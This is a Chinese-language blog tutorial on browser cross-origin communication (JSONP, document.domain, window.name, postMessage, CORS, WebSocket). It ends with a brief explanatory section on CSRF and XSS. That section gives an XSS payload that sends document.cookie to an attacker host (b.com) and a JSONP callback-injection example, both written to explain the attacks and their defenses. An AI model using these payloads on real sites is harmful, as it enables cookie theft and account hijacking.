跨域

关于浏览器跨域,经常会遇到这方面的问题,整理一下相关资源。

跨域概念

举个简单的例子:
一个地址为URLA的页面A试图请求另一个地址为URLB的资源。

它们的地址(URLA/URLB)中主机名(域名)、协议、端口号,只要有一个不相同,就为不同的域(或源),即异源,注意即便两个不同的域名指向同一个ip地址,也是异源。

相对的,如果相同,即为浏览器的同源策略/SOP(Same origin policy),同源策略限制以下几种行为:

  1. Cookie、LocalStorage 和 IndexDB 无法读取
  2. DOM 和 Js对象无法获得
  3. AJAX 请求不能发送

跨域方案

JSONP

浏览器允许html标签从不同域名下加载静态资源,在此基础上,可通过动态创建script标签,请求一个带参数的网址实现跨域通信。

缺点是只能通过GET方式请求。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// JavaScript
var script = document.createElement('script');
script.type = 'text/javascript';
// 传参并指定回调执行函数为back
script.src = 'http://example.com/login?callback=back';
document.head.appendChild(script);

// jquery
$.ajax({
url: 'http://example.com/login',
type: 'get',
dataType: 'jsonp', // 请求方式为jsonp
jsonpCallback: "back", // 自定义回调函数名
});

// 需要回调执行函数
function back(res) {
alert(JSON.stringify(res));
}
// 服务端返回
back({"status": true, "user": "admin"})

document.domain

仅适用于主域相同,子域不同。可以共享Cookie。

www.example.com/a.htmlchild.example.com/b.html相互之间的通信,两个页面都需要设置:
document.domain = 'example.com';

1
2
3
4
5
6
7
8
9
// 结合iframe实现更多跨域

// www.example.com/a.html
document.domain = 'domain.com';
var user = 'admin';

// child.example.com/b.html
document.domain = 'domain.com';
alert('父窗口变量user' + window.parent.user);

window.name

适用于iframe嵌套。

window.name是在同一个浏览器窗口下打开的所有页面共享的字段,最多可支持2MB。可以通过在b.html中设置window.name的值,在a.html中取出改值使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// www.domain1.com/a.html
var proxy = function(url, callback) {
var state = 0;
var iframe = document.createElement('iframe');
// 加载跨域页面
iframe.src = url;
// onload事件会触发2次,第1次加载跨域页,并留存数据于window.name
iframe.onload = function() {
if (state === 1) {
// 第2次onload(同域proxy页)成功后,读取同域window.name中数据
callback(iframe.contentWindow.name);
destoryFrame();
} else if (state === 0) {
// 第1次onload(跨域页)成功后,切换到同域代理页面
iframe.contentWindow.location = 'http://www.domain1.com/proxy.html';
state = 1;
}
};
document.body.appendChild(iframe);
// 获取数据以后销毁这个iframe,释放内存;这也保证了安全(不被其他域frame js访问)
function destoryFrame() {
iframe.contentWindow.document.write('');
iframe.contentWindow.close();
document.body.removeChild(iframe);
}
};
// 请求跨域b页面数据
proxy('http://www.domain2.com/b.html', function(data){
alert(data);
})

// www.domain1.com/proxy.html
代理页面,内容为空即可。

// www.domain2.com/b.html
window.name = 'This is domain2 data!';

window.postMessage

postMessage是HTML5 XMLHttpRequest Level 2的新增API,下面为MDN给的示例。

otherWindow.postMessage(message, targetOrigin, [transfer])

  • otherWindow:其他窗口的一个引用,比如iframe的contentWindow属性、执行window.open返回的窗口对象、或者是命名过或数值索引的window.frames。
  • message:将要发送到其他 window的数据。
  • targetOrigin:通过窗口的origin属性来指定哪些窗口能接收到消息事件,其值可以是字符串”*”(表示无限制)或者一个URI。
  • transfer:是一串和message 同时传递的 Transferable 对象. 这些对象的所有权将被转移给消息的接收方,而发送一方将不再保有所有权。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<!-- www.example1.com/a.html -->
<iframe id="iframe" src="http://www.example2.com/b.html" style="display:none;"></iframe>
<script>
var iframe = document.getElementById('iframe');
iframe.onload = function() {
var data = {
msg: '1+1',
};
// 传送跨域数据
iframe.contentWindow.postMessage(JSON.stringify(data), 'http://www.example2.com');
};
// 接收example2数据
function receiveMessage(e){
if (event.origin !== "http://www.example2.com")
return;
alert('来自页面B:' + e.data);
}
window.addEventListener('message', receiveMessage, false);
</script>

<!-- www.example2.com/b.html -->
<script>
//接收example1数据
function receiveMessage(e){
if (event.origin !== "http://www.example1.com")
return;
alert('来自页面A:' + e.data);
var data = JSON.parse(e.data);
if (data) {
data.sum = 2;
// 处理后再发回example1
window.parent.postMessage(JSON.stringify(data), 'http://www.example1.com');
}
}
window.addEventListener('message', receiveMessage, false);
</script>

CORS

CORS即跨域资源共享(Cross-origin resource sharing)。详细介绍可参考跨域资源共享 CORS 详解

普通的请求只需服务端设置Access-Control-Allow-Origin即可,前端无须设置。
带Cookie请求,前端常用设置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
/*  
原生ajax
*/
var xhr = new XMLHttpRequest(); // IE8/9需用window.XDomainRequest兼容

// 前端设置是否带cookie
xhr.withCredentials = true;

xhr.open('post', 'http://www.domain2.com:8080/login', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('user=admin');

xhr.onreadystatechange = function() {
if (xhr.readyState == 4 && xhr.status == 200) {
alert(xhr.responseText);
}
};
/*
jquery
*/
$.ajax({
...
xhrFields: {
withCredentials: true // 前端设置是否带cookie
},
crossDomain: true, // 会让请求头中包含跨域的额外信息,但不会含cookie
...
});

/*
axios ==> withCredentials: true
*/
import axios from 'axios'
// 创建axios实例
const service = axios.create({
baseURL: process.env.BASE_API, // node环境的不同,对应不同的baseURL
timeout: 5000, // 请求的超时时间
//设置默认请求头,使post请求发送的是formdata格式数据// axios的header默认的Content-Type好像是'application/json;charset=UTF-8',我的项目都是用json格式传输,如果需要更改的话,可以用这种方式修改
// headers: {
// "Content-Type": "application/x-www-form-urlencoded"
// },
withCredentials: true // 允许携带cookie
})

// node后台
const express = require('express')
const app = express()
const cors = require('cors') // 此处我的项目中使用express框架,跨域使用了cors npm插件

app.use(cors{
credentials: true,
origin: 'http://localhost:8081', // web前端服务器地址
// origin: '*' // 这样会出错
})

WebSocket

只要服务端支持就可以使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// express
var app = require('express')();
var server = require('http').Server(app);
var io = require('socket.io')(server);

server.listen(80);
// WARNING: app.listen(80) will NOT work here!

app.get('/', function (req, res) {
res.sendfile(__dirname + '/index.html');
});

io.on('connection', function (socket) {
socket.emit('news', { hello: 'world' });
socket.on('my other event', function (data) {
console.log(data);
});
});

// index.html
<script src="/socket.io/socket.io.js"></script>
<script>
var socket = io.connect('http://localhost');
socket.on('news', function (data) {
console.log(data);
socket.emit('my other event', { my: 'data' });
});
</script>

跨域攻击

CSRF/XSRF攻击

示例如下,防止CSRF攻击的方法是referer过滤校验+token验证,即服务端检测JSON文件调用来源和检查token数据是否匹配。

CSRF/XSRF

XSS攻击

提交含有恶意脚本的数据到服务器,从而达到破坏页面甚至盗取cookie伪装登录等目的。
例如,在a.com/index.ftl中有如下代码:欢迎你,${username},这时恶意网站b.com传递参数:
username=<script>window.open(“www.b.com?param=”+document.cookie)</script>
这样就轻而易举地盗取了用户的cookie值了。
在jsonp跨域访问中,xss注入主要是callback参数注入,如:
<script src="http://www.a.com/getData.do?callback=<script>alert('xss');</script>"></script>
防止措施是对参数进行校验过滤。

参考链接
https://segmentfault.com/a/1190000003784372
https://www.cnblogs.com/roam/p/7520433.html

------本文结束 感谢阅读------